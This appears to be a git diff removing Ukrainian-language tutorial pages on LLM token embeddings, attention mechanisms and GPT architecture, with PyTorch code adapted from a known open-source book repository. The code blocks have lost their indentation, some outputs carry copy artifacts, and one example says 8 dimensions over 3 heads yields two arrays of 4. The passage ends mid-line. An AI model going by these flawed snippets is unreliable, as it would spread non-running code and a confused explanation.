@@ -1,203 +0,0 @@ -# 3. Токенні Вбудовування - -## Токенні Вбудовування - -Після токенізації текстових даних наступним критичним кроком у підготовці даних для навчання великих мовних моделей (LLMs), таких як GPT, є створення **токенних вбудовувань**. Токенні вбудовування перетворюють дискретні токени (такі як слова або підслова) у безперервні числові вектори, які модель може обробляти та навчатися з них. Це пояснення розкриває токенні вбудовування, їх ініціалізацію, використання та роль позиційних вбудовувань у покращенні розуміння моделі послідовностей токенів. - -> [!TIP] -> Мета цього третього етапу дуже проста: **Призначити кожному з попередніх токенів у словнику вектор бажаних розмірностей для навчання моделі.** Кожне слово в словнику буде точкою в просторі X вимірів.\ -> Зверніть увагу, що спочатку позиція кожного слова в просторі просто ініціалізується "випадковим чином", і ці позиції є параметрами, що підлягають навчання (будуть покращені під час навчання). -> -> Більше того, під час токенного вбудовування **створюється ще один шар вбудовувань**, який представляє (в цьому випадку) **абсолютну позицію слова в навчальному реченні**. Таким чином, слово в різних позиціях у реченні матиме різне представлення (значення). - -### **Що таке Токенні Вбудовування?** - -**Токенні Вбудовування** — це числові представлення токенів у безперервному векторному просторі. Кожен токен у словнику асоціюється з унікальним вектором фіксованих розмірностей. Ці вектори захоплюють семантичну та синтаксичну інформацію про токени, що дозволяє моделі розуміти відносини та шаблони в даних. - -- **Розмір Словника:** Загальна кількість унікальних токенів (наприклад, слів, підслів) у словнику моделі. -- **Розміри Вбудовування:** Кількість числових значень (вимірів) у векторі кожного токена. Вищі виміри можуть захоплювати більш тонку інформацію, але вимагають більше обчислювальних ресурсів. - -**Приклад:** - -- **Розмір Словника:** 6 токенів \[1, 2, 3, 4, 5, 6] -- **Розміри Вбудовування:** 3 (x, y, z) - -### **Ініціалізація Токенних Вбудовувань** - -На початку навчання токенні вбудовування зазвичай ініціалізуються з малими випадковими значеннями. Ці початкові значення коригуються (доладно налаштовуються) під час навчання, щоб краще представляти значення токенів на основі навчальних даних. - -**Приклад PyTorch:** -```python -import torch - -# Set a random seed for reproducibility -torch.manual_seed(123) - -# Create an embedding layer with 6 tokens and 3 dimensions -embedding_layer = torch.nn.Embedding(6, 3) - -# Display the initial weights (embeddings) -print(embedding_layer.weight) -``` -**Вихід:** -```lua -luaCopy codeParameter containing: -tensor([[ 0.3374, -0.1778, -0.1690], -[ 0.9178, 1.5810, 1.3010], -[ 1.2753, -0.2010, -0.1606], -[-0.4015, 0.9666, -1.1481], -[-1.1589, 0.3255, -0.6315], -[-2.8400, -0.7849, -1.4096]], requires_grad=True) -``` -**Пояснення:** - -- Кожен рядок відповідає токену в словнику. -- Кожен стовпець представляє вимір у векторі вбудовування. -- Наприклад, токен з індексом `3` має вектор вбудовування `[-0.4015, 0.9666, -1.1481]`. - -**Доступ до вбудовування токена:** -```python -# Retrieve the embedding for the token at index 3 -token_index = torch.tensor([3]) -print(embedding_layer(token_index)) -``` -**Вихід:** -```lua -tensor([[-0.4015, 0.9666, -1.1481]], grad_fn=) -``` -**Інтерпретація:** - -- Токен з індексом `3` представлений вектором `[-0.4015, 0.9666, -1.1481]`. -- Ці значення є параметрами, що підлягають навчання, які модель буде коригувати під час навчання, щоб краще відобразити контекст і значення токена. - -### **Як працюють токенні вбудування під час навчання** - -Під час навчання кожен токен у вхідних даних перетворюється на відповідний вектор вбудування. Ці вектори потім використовуються в різних обчисленнях у моделі, таких як механізми уваги та шари нейронних мереж. - -**Приклад сценарію:** - -- **Розмір партії:** 8 (кількість зразків, що обробляються одночасно) -- **Максимальна довжина послідовності:** 4 (кількість токенів на зразок) -- **Розміри вбудування:** 256 - -**Структура даних:** - -- Кожна партія представлена як 3D тензор з формою `(batch_size, max_length, embedding_dim)`. -- Для нашого прикладу форма буде `(8, 4, 256)`. - -**Візуалізація:** -```css -cssCopy codeBatch -┌─────────────┐ -│ Sample 1 │ -│ ┌─────┐ │ -│ │Token│ → [x₁₁, x₁₂, ..., x₁₂₅₆] -│ │ 1 │ │ -│ │... │ │ -│ │Token│ │ -│ │ 4 │ │ -│ └─────┘ │ -│ Sample 2 │ -│ ┌─────┐ │ -│ │Token│ → [x₂₁, x₂₂, ..., x₂₂₅₆] -│ │ 1 │ │ -│ │... │ │ -│ │Token│ │ -│ │ 4 │ │ -│ └─────┘ │ -│ ... │ -│ Sample 8 │ -│ ┌─────┐ │ -│ │Token│ → [x₈₁, x₈₂, ..., x₈₂₅₆] -│ │ 1 │ │ -│ │... │ │ -│ │Token│ │ -│ │ 4 │ │ -│ └─────┘ │ -└─────────────┘ -``` -**Пояснення:** - -- Кожен токен у послідовності представлений 256-вимірним вектором. -- Модель обробляє ці вектори для вивчення мовних патернів і генерації прогнозів. - -## **Позиційні вектори: Додавання контексту до токенів** - -Хоча токенові вектори захоплюють значення окремих токенів, вони не закодовані за замовчуванням у позиції токенів у послідовності. Розуміння порядку токенів є критично важливим для розуміння мови. Тут на допомогу приходять **позиційні вектори**. - -### **Чому потрібні позиційні вектори:** - -- **Порядок токенів має значення:** У реченнях значення часто залежить від порядку слів. Наприклад, "Кіт сидів на килимку" проти "Килимок сидів на коті." -- **Обмеження векторів:** Без позиційної інформації модель розглядає токени як "мішок слів", ігноруючи їх послідовність. - -### **Типи позиційних векторів:** - -1. **Абсолютні позиційні вектори:** -- Призначають унікальний вектор позиції для кожної позиції в послідовності. -- **Приклад:** Перший токен у будь-якій послідовності має той самий позиційний вектор, другий токен має інший і так далі. -- **Використовується:** Моделями GPT від OpenAI. -2. **Відносні позиційні вектори:** -- Кодують відносну відстань між токенами, а не їх абсолютні позиції. -- **Приклад:** Вказують, наскільки далеко один токен від іншого, незалежно від їх абсолютних позицій у послідовності. -- **Використовується:** Моделями, такими як Transformer-XL та деякими варіантами BERT. - -### **Як інтегруються позиційні вектори:** - -- **Ті ж розміри:** Позиційні вектори мають таку ж розмірність, як і токенові вектори. -- **Додавання:** Вони додаються до токенових векторів, поєднуючи ідентичність токена з позиційною інформацією без збільшення загальної розмірності. - -**Приклад додавання позиційних векторів:** - -Припустимо, вектор токену є `[0.5, -0.2, 0.1]`, а його позиційний вектор є `[0.1, 0.3, -0.1]`. Об'єднаний вектор, що використовується моделлю, буде: -```css -Combined Embedding = Token Embedding + Positional Embedding -= [0.5 + 0.1, -0.2 + 0.3, 0.1 + (-0.1)] -= [0.6, 0.1, 0.0] -``` -**Переваги позиційних векторів:** - -- **Контекстуальна обізнаність:** Модель може розрізняти токени на основі їхніх позицій. -- **Розуміння послідовності:** Дозволяє моделі розуміти граматику, синтаксис та значення, що залежать від контексту. - -## Приклад коду - -Наступний приклад коду з [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb): -```python -# Use previous code... - -# Create dimensional emdeddings -""" -BPE uses a vocabulary of 50257 words -Let's supose we want to use 256 dimensions (instead of the millions used by LLMs) -""" - -vocab_size = 50257 -output_dim = 256 -token_embedding_layer = torch.nn.Embedding(vocab_size, output_dim) - -## Generate the dataloader like before -max_length = 4 -dataloader = create_dataloader_v1( -raw_text, batch_size=8, max_length=max_length, -stride=max_length, shuffle=False -) -data_iter = iter(dataloader) -inputs, targets = next(data_iter) - -# Apply embeddings -token_embeddings = token_embedding_layer(inputs) -print(token_embeddings.shape) -torch.Size([8, 4, 256]) # 8 x 4 x 256 - -# Generate absolute embeddings -context_length = max_length -pos_embedding_layer = torch.nn.Embedding(context_length, output_dim) - -pos_embeddings = pos_embedding_layer(torch.arange(max_length)) - -input_embeddings = token_embeddings + pos_embeddings -print(input_embeddings.shape) # torch.Size([8, 4, 256]) -``` -## Посилання - -- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch) diff --git a/src/todo/llm-training-data-preparation/4.-attention-mechanisms.md b/src/todo/llm-training-data-preparation/4.-attention-mechanisms.md deleted file mode 100644 index bdca6967e..000000000 --- a/src/todo/llm-training-data-preparation/4.-attention-mechanisms.md +++ /dev/null @@ -1,416 +0,0 @@ -# 4. Механізми уваги - -## Механізми уваги та самоувага в нейронних мережах - -Механізми уваги дозволяють нейронним мережам **зосереджуватися на конкретних частинах вхідних даних під час генерації кожної частини виходу**. Вони призначають різні ваги різним вхідним даним, допомагаючи моделі вирішити, які вхідні дані є найбільш релевантними для поставленого завдання. Це є критично важливим у таких завданнях, як машинний переклад, де розуміння контексту всього речення необхідне для точного перекладу. - -> [!TIP] -> Мета цього четвертого етапу дуже проста: **Застосувати деякі механізми уваги**. Це будуть багато **повторюваних шарів**, які будуть **захоплювати зв'язок слова у словнику з його сусідами в поточному реченні, що використовується для навчання LLM**.\ -> Для цього використовується багато шарів, тому багато параметрів, що підлягають навчання, будуть захоплювати цю інформацію. - -### Розуміння механізмів уваги - -У традиційних моделях послідовності до послідовності, що використовуються для перекладу мов, модель кодує вхідну послідовність у вектор контексту фіксованого розміру. Однак цей підхід має труднощі з довгими реченнями, оскільки вектор контексту фіксованого розміру може не захоплювати всю необхідну інформацію. Механізми уваги вирішують це обмеження, дозволяючи моделі враховувати всі вхідні токени під час генерації кожного вихідного токена. - -#### Приклад: Машинний переклад - -Розглянемо переклад німецького речення "Kannst du mir helfen diesen Satz zu übersetzen" на англійську. Переклад слово за словом не дасть граматично правильного англійського речення через відмінності в граматичних структурах між мовами. Механізм уваги дозволяє моделі зосереджуватися на релевантних частинах вхідного речення під час генерації кожного слова вихідного речення, що призводить до більш точного та узгодженого перекладу. - -### Вступ до самоуваги - -Самоувага, або внутрішня увага, є механізмом, де увага застосовується в межах однієї послідовності для обчислення представлення цієї послідовності. Це дозволяє кожному токену в послідовності звертатися до всіх інших токенів, допомагаючи моделі захоплювати залежності між токенами незалежно від їх відстані в послідовності. - -#### Ключові концепції - -- **Токени**: Окремі елементи вхідної послідовності (наприклад, слова в реченні). -- **Векторні представлення**: Векторні представлення токенів, що захоплюють семантичну інформацію. -- **Ваги уваги**: Значення, які визначають важливість кожного токена відносно інших. - -### Обчислення ваг уваги: покроковий приклад - -Розглянемо речення **"Hello shiny sun!"** і представимо кожне слово з 3-вимірним векторним представленням: - -- **Hello**: `[0.34, 0.22, 0.54]` -- **shiny**: `[0.53, 0.34, 0.98]` -- **sun**: `[0.29, 0.54, 0.93]` - -Наша мета - обчислити **вектор контексту** для слова **"shiny"** за допомогою самоуваги. - -#### Крок 1: Обчислення оцінок уваги - -> [!TIP] -> Просто помножте кожне значення виміру запиту на відповідне значення кожного токена і додайте результати. Ви отримаєте 1 значення для кожної пари токенів. - -Для кожного слова в реченні обчисліть **оцінку уваги** відносно "shiny", обчислюючи скалярний добуток їх векторних представлень. - -**Оцінка уваги між "Hello" та "shiny"** - -
- -**Оцінка уваги між "shiny" та "shiny"** - -
- -**Оцінка уваги між "sun" та "shiny"** - -
- -#### Крок 2: Нормалізація оцінок уваги для отримання ваг уваги - -> [!TIP] -> Не губіться в математичних термінах, мета цієї функції проста, нормалізувати всі ваги так, щоб **вони в сумі давали 1**. -> -> Більше того, **функція softmax** використовується, оскільки вона підкреслює відмінності завдяки експоненціальній частині, що полегшує виявлення корисних значень. - -Застосуйте **функцію softmax** до оцінок уваги, щоб перетворити їх на ваги уваги, які в сумі дають 1. - -
- -Обчислення експонент: - -
- -Обчислення суми: - -
- -Обчислення ваг уваги: - -
- -#### Крок 3: Обчислення вектора контексту - -> [!TIP] -> Просто візьміть кожну вагу уваги і помножте її на відповідні виміри токена, а потім додайте всі виміри, щоб отримати лише 1 вектор (вектор контексту) - -**Вектор контексту** обчислюється як зважена сума векторних представлень усіх слів, використовуючи ваги уваги. - -
- -Обчислення кожного компонента: - -- **Зважене векторне представлення "Hello"**: - -
- -- **Зважене векторне представлення "shiny"**: - -
- -- **Зважене векторне представлення "sun"**: - -
- -Сумування зважених векторних представлень: - -`вектор контексту=[0.0779+0.2156+0.1057, 0.0504+0.1382+0.1972, 0.1237+0.3983+0.3390]=[0.3992,0.3858,0.8610]` - -**Цей вектор контексту представляє збагачене векторне представлення для слова "shiny", включаючи інформацію з усіх слів у реченні.** - -### Підсумок процесу - -1. **Обчисліть оцінки уваги**: Використовуйте скалярний добуток між вектором представлення цільового слова та векторами представлення всіх слів у послідовності. -2. **Нормалізуйте оцінки для отримання ваг уваги**: Застосуйте функцію softmax до оцінок уваги, щоб отримати ваги, які в сумі дають 1. -3. **Обчисліть вектор контексту**: Помножте векторне представлення кожного слова на його вагу уваги та підсумуйте результати. - -## Самоувага з вагами, що підлягають навчання - -На практиці механізми самоуваги використовують **ваги, що підлягають навчання**, щоб навчитися найкращим представленням для запитів, ключів і значень. Це передбачає введення трьох матриць ваг: - -
- -Запит є даними, які використовуються, як і раніше, тоді як матриці ключів і значень - це просто випадкові матриці, що підлягають навчання. - -#### Крок 1: Обчислення запитів, ключів і значень - -Кожен токен матиме свою власну матрицю запиту, ключа та значення, множачи свої значення вимірів на визначені матриці: - -
- -Ці матриці перетворюють оригінальні векторні представлення в новий простір, придатний для обчислення уваги. - -**Приклад** - -Припустимо: - -- Вхідний розмір `din=3` (розмір векторного представлення) -- Вихідний розмір `dout=2` (бажаний розмір для запитів, ключів і значень) - -Ініціалізуйте матриці ваг: -```python -import torch.nn as nn - -d_in = 3 -d_out = 2 - -W_query = nn.Parameter(torch.rand(d_in, d_out)) -W_key = nn.Parameter(torch.rand(d_in, d_out)) -W_value = nn.Parameter(torch.rand(d_in, d_out)) -``` -Обчисліть запити, ключі та значення: -```python -queries = torch.matmul(inputs, W_query) -keys = torch.matmul(inputs, W_key) -values = torch.matmul(inputs, W_value) -``` -#### Крок 2: Обчислення масштабованої уваги з добутком - -**Обчислення оцінок уваги** - -Схоже на попередній приклад, але цього разу, замість використання значень вимірів токенів, ми використовуємо матрицю ключів токена (яка вже була обчислена за допомогою вимірів):. Отже, для кожного запиту `qi`​ та ключа `kj​`: - -
- -**Масштабування оцінок** - -Щоб запобігти тому, щоб добутки не ставали занадто великими, масштабуйте їх на квадратний корінь з розміру ключа `dk`​: - -
- -> [!TIP] -> Оцінка ділиться на квадратний корінь з вимірів, оскільки добутки можуть ставати дуже великими, і це допомагає їх регулювати. - -**Застосування Softmax для отримання ваг уваги:** Як у початковому прикладі, нормалізуйте всі значення, щоб їхня сума дорівнювала 1. - -
- -#### Крок 3: Обчислення контекстних векторів - -Як у початковому прикладі, просто складіть усі матриці значень, помноживши кожну з них на її вагу уваги: - -
- -### Приклад коду - -Взявши приклад з [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb), ви можете перевірити цей клас, який реалізує функціональність самостійної уваги, про яку ми говорили: -```python -import torch - -inputs = torch.tensor( -[[0.43, 0.15, 0.89], # Your (x^1) -[0.55, 0.87, 0.66], # journey (x^2) -[0.57, 0.85, 0.64], # starts (x^3) -[0.22, 0.58, 0.33], # with (x^4) -[0.77, 0.25, 0.10], # one (x^5) -[0.05, 0.80, 0.55]] # step (x^6) -) - -import torch.nn as nn -class SelfAttention_v2(nn.Module): - -def __init__(self, d_in, d_out, qkv_bias=False): -super().__init__() -self.W_query = nn.Linear(d_in, d_out, bias=qkv_bias) -self.W_key = nn.Linear(d_in, d_out, bias=qkv_bias) -self.W_value = nn.Linear(d_in, d_out, bias=qkv_bias) - -def forward(self, x): -keys = self.W_key(x) -queries = self.W_query(x) -values = self.W_value(x) - -attn_scores = queries @ keys.T -attn_weights = torch.softmax(attn_scores / keys.shape[-1]**0.5, dim=-1) - -context_vec = attn_weights @ values -return context_vec - -d_in=3 -d_out=2 -torch.manual_seed(789) -sa_v2 = SelfAttention_v2(d_in, d_out) -print(sa_v2(inputs)) -``` -> [!NOTE] -> Зверніть увагу, що замість ініціалізації матриць випадковими значеннями, використовується `nn.Linear`, щоб позначити всі ваги як параметри для навчання. - -## Причинна Увага: Приховування Майбутніх Слів - -Для LLM ми хочемо, щоб модель враховувала лише токени, які з'являються перед поточною позицією, щоб **прогнозувати наступний токен**. **Причинна увага**, також відома як **замаскована увага**, досягає цього, модифікуючи механізм уваги, щоб запобігти доступу до майбутніх токенів. - -### Застосування Маски Причинної Уваги - -Щоб реалізувати причинну увагу, ми застосовуємо маску до оцінок уваги **перед операцією softmax**, щоб залишкові значення все ще складали 1. Ця маска встановлює оцінки уваги майбутніх токенів на негативну нескінченність, забезпечуючи, що після softmax їх ваги уваги дорівнюють нулю. - -**Кроки** - -1. **Обчислити Оцінки Уваги**: Так само, як і раніше. -2. **Застосувати Маску**: Використовуйте верхню трикутну матрицю, заповнену негативною нескінченністю вище діагоналі. - -```python -mask = torch.triu(torch.ones(seq_len, seq_len), diagonal=1) * float('-inf') -masked_scores = attention_scores + mask -``` - -3. **Застосувати Softmax**: Обчисліть ваги уваги, використовуючи замасковані оцінки. - -```python -attention_weights = torch.softmax(masked_scores, dim=-1) -``` - -### Маскування Додаткових Ваг Уваги з Допомогою Dropout - -Щоб **запобігти перенавчанню**, ми можемо застосувати **dropout** до ваг уваги після операції softmax. Dropout **випадковим чином обнуляє деякі з ваг уваги** під час навчання. -```python -dropout = nn.Dropout(p=0.5) -attention_weights = dropout(attention_weights) -``` -Звичайний dropout становить близько 10-20%. - -### Code Example - -Code example from [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb): -```python -import torch -import torch.nn as nn - -inputs = torch.tensor( -[[0.43, 0.15, 0.89], # Your (x^1) -[0.55, 0.87, 0.66], # journey (x^2) -[0.57, 0.85, 0.64], # starts (x^3) -[0.22, 0.58, 0.33], # with (x^4) -[0.77, 0.25, 0.10], # one (x^5) -[0.05, 0.80, 0.55]] # step (x^6) -) - -batch = torch.stack((inputs, inputs), dim=0) -print(batch.shape) - -class CausalAttention(nn.Module): - -def __init__(self, d_in, d_out, context_length, -dropout, qkv_bias=False): -super().__init__() -self.d_out = d_out -self.W_query = nn.Linear(d_in, d_out, bias=qkv_bias) -self.W_key = nn.Linear(d_in, d_out, bias=qkv_bias) -self.W_value = nn.Linear(d_in, d_out, bias=qkv_bias) -self.dropout = nn.Dropout(dropout) -self.register_buffer('mask', torch.triu(torch.ones(context_length, context_length), diagonal=1)) # New - -def forward(self, x): -b, num_tokens, d_in = x.shape -# b is the num of batches -# num_tokens is the number of tokens per batch -# d_in is the dimensions er token - -keys = self.W_key(x) # This generates the keys of the tokens -queries = self.W_query(x) -values = self.W_value(x) - -attn_scores = queries @ keys.transpose(1, 2) # Moves the third dimension to the second one and the second one to the third one to be able to multiply -attn_scores.masked_fill_( # New, _ ops are in-place -self.mask.bool()[:num_tokens, :num_tokens], -torch.inf) # `:num_tokens` to account for cases where the number of tokens in the batch is smaller than the supported context_size -attn_weights = torch.softmax( -attn_scores / keys.shape[-1]**0.5, dim=-1 -) -attn_weights = self.dropout(attn_weights) - -context_vec = attn_weights @ values -return context_vec - -torch.manual_seed(123) - -context_length = batch.shape[1] -d_in = 3 -d_out = 2 -ca = CausalAttention(d_in, d_out, context_length, 0.0) - -context_vecs = ca(batch) - -print(context_vecs) -print("context_vecs.shape:", context_vecs.shape) -``` -## Розширення одноголової уваги до багатоголової уваги - -**Багатоголова увага** на практиці полягає в виконанні **декількох екземплярів** функції самостійної уваги, кожен з яких має **свої власні ваги**, тому розраховуються різні фінальні вектори. - -### Приклад коду - -Можливо, можна повторно використовувати попередній код і просто додати обгортку, яка запускає його кілька разів, але це більш оптимізована версія з [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb), яка обробляє всі голови одночасно (зменшуючи кількість витратних циклів for). Як ви можете бачити в коді, розміри кожного токена діляться на різні розміри відповідно до кількості голів. Таким чином, якщо токен має 8 розмірів і ми хочемо використовувати 3 голови, розміри будуть поділені на 2 масиви по 4 розміри, і кожна голова використовуватиме один з них: -```python -class MultiHeadAttention(nn.Module): -def __init__(self, d_in, d_out, context_length, dropout, num_heads, qkv_bias=False): -super().__init__() -assert (d_out % num_heads == 0), \ -"d_out must be divisible by num_heads" - -self.d_out = d_out -self.num_heads = num_heads -self.head_dim = d_out // num_heads # Reduce the projection dim to match desired output dim - -self.W_query = nn.Linear(d_in, d_out, bias=qkv_bias) -self.W_key = nn.Linear(d_in, d_out, bias=qkv_bias) -self.W_value = nn.Linear(d_in, d_out, bias=qkv_bias) -self.out_proj = nn.Linear(d_out, d_out) # Linear layer to combine head outputs -self.dropout = nn.Dropout(dropout) -self.register_buffer( -"mask", -torch.triu(torch.ones(context_length, context_length), -diagonal=1) -) - -def forward(self, x): -b, num_tokens, d_in = x.shape -# b is the num of batches -# num_tokens is the number of tokens per batch -# d_in is the dimensions er token - -keys = self.W_key(x) # Shape: (b, num_tokens, d_out) -queries = self.W_query(x) -values = self.W_value(x) - -# We implicitly split the matrix by adding a `num_heads` dimension -# Unroll last dim: (b, num_tokens, d_out) -> (b, num_tokens, num_heads, head_dim) -keys = keys.view(b, num_tokens, self.num_heads, self.head_dim) -values = values.view(b, num_tokens, self.num_heads, self.head_dim) -queries = queries.view(b, num_tokens, self.num_heads, self.head_dim) - -# Transpose: (b, num_tokens, num_heads, head_dim) -> (b, num_heads, num_tokens, head_dim) -keys = keys.transpose(1, 2) -queries = queries.transpose(1, 2) -values = values.transpose(1, 2) - -# Compute scaled dot-product attention (aka self-attention) with a causal mask -attn_scores = queries @ keys.transpose(2, 3) # Dot product for each head - -# Original mask truncated to the number of tokens and converted to boolean -mask_bool = self.mask.bool()[:num_tokens, :num_tokens] - -# Use the mask to fill attention scores -attn_scores.masked_fill_(mask_bool, -torch.inf) - -attn_weights = torch.softmax(attn_scores / keys.shape[-1]**0.5, dim=-1) -attn_weights = self.dropout(attn_weights) - -# Shape: (b, num_tokens, num_heads, head_dim) -context_vec = (attn_weights @ values).transpose(1, 2) - -# Combine heads, where self.d_out = self.num_heads * self.head_dim -context_vec = context_vec.contiguous().view(b, num_tokens, self.d_out) -context_vec = self.out_proj(context_vec) # optional projection - -return context_vec - -torch.manual_seed(123) - -batch_size, context_length, d_in = batch.shape -d_out = 2 -mha = MultiHeadAttention(d_in, d_out, context_length, 0.0, num_heads=2) - -context_vecs = mha(batch) - -print(context_vecs) -print("context_vecs.shape:", context_vecs.shape) - -``` -Для ще однієї компактної та ефективної реалізації ви можете використовувати клас [`torch.nn.MultiheadAttention`](https://pytorch.org/docs/stable/generated/torch.nn.MultiheadAttention.html) у PyTorch. - -> [!TIP] -> Коротка відповідь ChatGPT про те, чому краще розділити виміри токенів між головами, замість того щоб кожна голова перевіряла всі виміри всіх токенів: -> -> Хоча дозволити кожній голові обробляти всі вимірювання вбудовування може здаватися вигідним, оскільки кожна голова матиме доступ до всієї інформації, стандартна практика полягає в тому, щоб **розділити виміри вбудовування між головами**. Цей підхід забезпечує баланс між обчислювальною ефективністю та продуктивністю моделі та заохочує кожну голову вивчати різноманітні представлення. Тому розподіл вимірів вбудовування зазвичай є кращим, ніж дозволяти кожній голові перевіряти всі виміри. - -## References - -- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch) diff --git a/src/todo/llm-training-data-preparation/5.-llm-architecture.md b/src/todo/llm-training-data-preparation/5.-llm-architecture.md deleted file mode 100644 index b8fa110ff..000000000 --- a/src/todo/llm-training-data-preparation/5.-llm-architecture.md +++ /dev/null @@ -1,666 +0,0 @@ -# 5. Архітектура LLM - -## Архітектура LLM - -> [!TIP] -> Мета цього п'ятого етапу дуже проста: **Розробити архітектуру повного LLM**. З'єднайте все разом, застосуйте всі шари та створіть усі функції для генерації тексту або перетворення тексту в ID та назад. -> -> Ця архітектура буде використовуватися як для навчання, так і для прогнозування тексту після його навчання. - -Приклад архітектури LLM з [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb): - -Високорівневе подання можна спостерігати в: - -

https://camo.githubusercontent.com/6c8c392f72d5b9e86c94aeb9470beab435b888d24135926f1746eb88e0cc18fb/68747470733a2f2f73656261737469616e72617363686b612e636f6d2f696d616765732f4c4c4d732d66726f6d2d736372617463682d696d616765732f636830345f636f6d707265737365642f31332e776562703f31

- -1. **Вхід (Токенізований текст)**: Процес починається з токенізованого тексту, який перетворюється на числові представлення. -2. **Шар вбудовування токенів та шар позиційного вбудовування**: Токенізований текст проходить через **шар вбудовування токенів** та **шар позиційного вбудовування**, який захоплює позицію токенів у послідовності, що є критично важливим для розуміння порядку слів. -3. **Блоки трансформера**: Модель містить **12 блоків трансформера**, кожен з яких має кілька шарів. Ці блоки повторюють наступну послідовність: -- **Масковане багатоголове увага**: Дозволяє моделі зосереджуватися на різних частинах вхідного тексту одночасно. -- **Нормалізація шару**: Крок нормалізації для стабілізації та покращення навчання. -- **Шар прямого проходження**: Відповідає за обробку інформації з шару уваги та прогнозування наступного токена. -- **Шари відсіву**: Ці шари запобігають перенавчанню, випадковим чином відкидаючи одиниці під час навчання. -4. **Фінальний вихідний шар**: Модель виводить **тензор розміром 4x50,257**, де **50,257** представляє розмір словника. Кожен рядок у цьому тензорі відповідає вектору, який модель використовує для прогнозування наступного слова в послідовності. -5. **Мета**: Завдання полягає в тому, щоб взяти ці вбудовування та перетворити їх назад у текст. Конкретно, останній рядок виходу використовується для генерації наступного слова, представленого як "вперед" у цій діаграмі. - -### Подання коду -```python -import torch -import torch.nn as nn -import tiktoken - -class GELU(nn.Module): -def __init__(self): -super().__init__() - -def forward(self, x): -return 0.5 * x * (1 + torch.tanh( -torch.sqrt(torch.tensor(2.0 / torch.pi)) * -(x + 0.044715 * torch.pow(x, 3)) -)) - -class FeedForward(nn.Module): -def __init__(self, cfg): -super().__init__() -self.layers = nn.Sequential( -nn.Linear(cfg["emb_dim"], 4 * cfg["emb_dim"]), -GELU(), -nn.Linear(4 * cfg["emb_dim"], cfg["emb_dim"]), -) - -def forward(self, x): -return self.layers(x) - -class MultiHeadAttention(nn.Module): -def __init__(self, d_in, d_out, context_length, dropout, num_heads, qkv_bias=False): -super().__init__() -assert d_out % num_heads == 0, "d_out must be divisible by num_heads" - -self.d_out = d_out -self.num_heads = num_heads -self.head_dim = d_out // num_heads # Reduce the projection dim to match desired output dim - -self.W_query = nn.Linear(d_in, d_out, bias=qkv_bias) -self.W_key = nn.Linear(d_in, d_out, bias=qkv_bias) -self.W_value = nn.Linear(d_in, d_out, bias=qkv_bias) -self.out_proj = nn.Linear(d_out, d_out) # Linear layer to combine head outputs -self.dropout = nn.Dropout(dropout) -self.register_buffer('mask', torch.triu(torch.ones(context_length, context_length), diagonal=1)) - -def forward(self, x): -b, num_tokens, d_in = x.shape - -keys = self.W_key(x) # Shape: (b, num_tokens, d_out) -queries = self.W_query(x) -values = self.W_value(x) - -# We implicitly split the matrix by adding a `num_heads` dimension -# Unroll last dim: (b, num_tokens, d_out) -> (b, num_tokens, num_heads, head_dim) -keys = keys.view(b, num_tokens, self.num_heads, self.head_dim) -values = values.view(b, num_tokens, self.num_heads, self.head_dim) -queries = queries.view(b, num_tokens, self.num_heads, self.head_dim) - -# Transpose: (b, num_tokens, num_heads, head_dim) -> (b, num_heads, num_tokens, head_dim) -keys = keys.transpose(1, 2) -queries = queries.transpose(1, 2) -values = values.transpose(1, 2) - -# Compute scaled dot-product attention (aka self-attention) with a causal mask -attn_scores = queries @ keys.transpose(2, 3) # Dot product for each head - -# Original mask truncated to the number of tokens and converted to boolean -mask_bool = self.mask.bool()[:num_tokens, :num_tokens] - -# Use the mask to fill attention scores -attn_scores.masked_fill_(mask_bool, -torch.inf) - -attn_weights = torch.softmax(attn_scores / keys.shape[-1]**0.5, dim=-1) -attn_weights = self.dropout(attn_weights) - -# Shape: (b, num_tokens, num_heads, head_dim) -context_vec = (attn_weights @ values).transpose(1, 2) - -# Combine heads, where self.d_out = self.num_heads * self.head_dim -context_vec = context_vec.contiguous().view(b, num_tokens, self.d_out) -context_vec = self.out_proj(context_vec) # optional projection - -return context_vec - -class LayerNorm(nn.Module): -def __init__(self, emb_dim): -super().__init__() -self.eps = 1e-5 -self.scale = nn.Parameter(torch.ones(emb_dim)) -self.shift = nn.Parameter(torch.zeros(emb_dim)) - -def forward(self, x): -mean = x.mean(dim=-1, keepdim=True) -var = x.var(dim=-1, keepdim=True, unbiased=False) -norm_x = (x - mean) / torch.sqrt(var + self.eps) -return self.scale * norm_x + self.shift - -class TransformerBlock(nn.Module): -def __init__(self, cfg): -super().__init__() -self.att = MultiHeadAttention( -d_in=cfg["emb_dim"], -d_out=cfg["emb_dim"], -context_length=cfg["context_length"], -num_heads=cfg["n_heads"], -dropout=cfg["drop_rate"], -qkv_bias=cfg["qkv_bias"]) -self.ff = FeedForward(cfg) -self.norm1 = LayerNorm(cfg["emb_dim"]) -self.norm2 = LayerNorm(cfg["emb_dim"]) -self.drop_shortcut = nn.Dropout(cfg["drop_rate"]) - -def forward(self, x): -# Shortcut connection for attention block -shortcut = x -x = self.norm1(x) -x = self.att(x) # Shape [batch_size, num_tokens, emb_size] -x = self.drop_shortcut(x) -x = x + shortcut # Add the original input back - -# Shortcut connection for feed forward block -shortcut = x -x = self.norm2(x) -x = self.ff(x) -x = self.drop_shortcut(x) -x = x + shortcut # Add the original input back - -return x - - -class GPTModel(nn.Module): -def __init__(self, cfg): -super().__init__() -self.tok_emb = nn.Embedding(cfg["vocab_size"], cfg["emb_dim"]) -self.pos_emb = 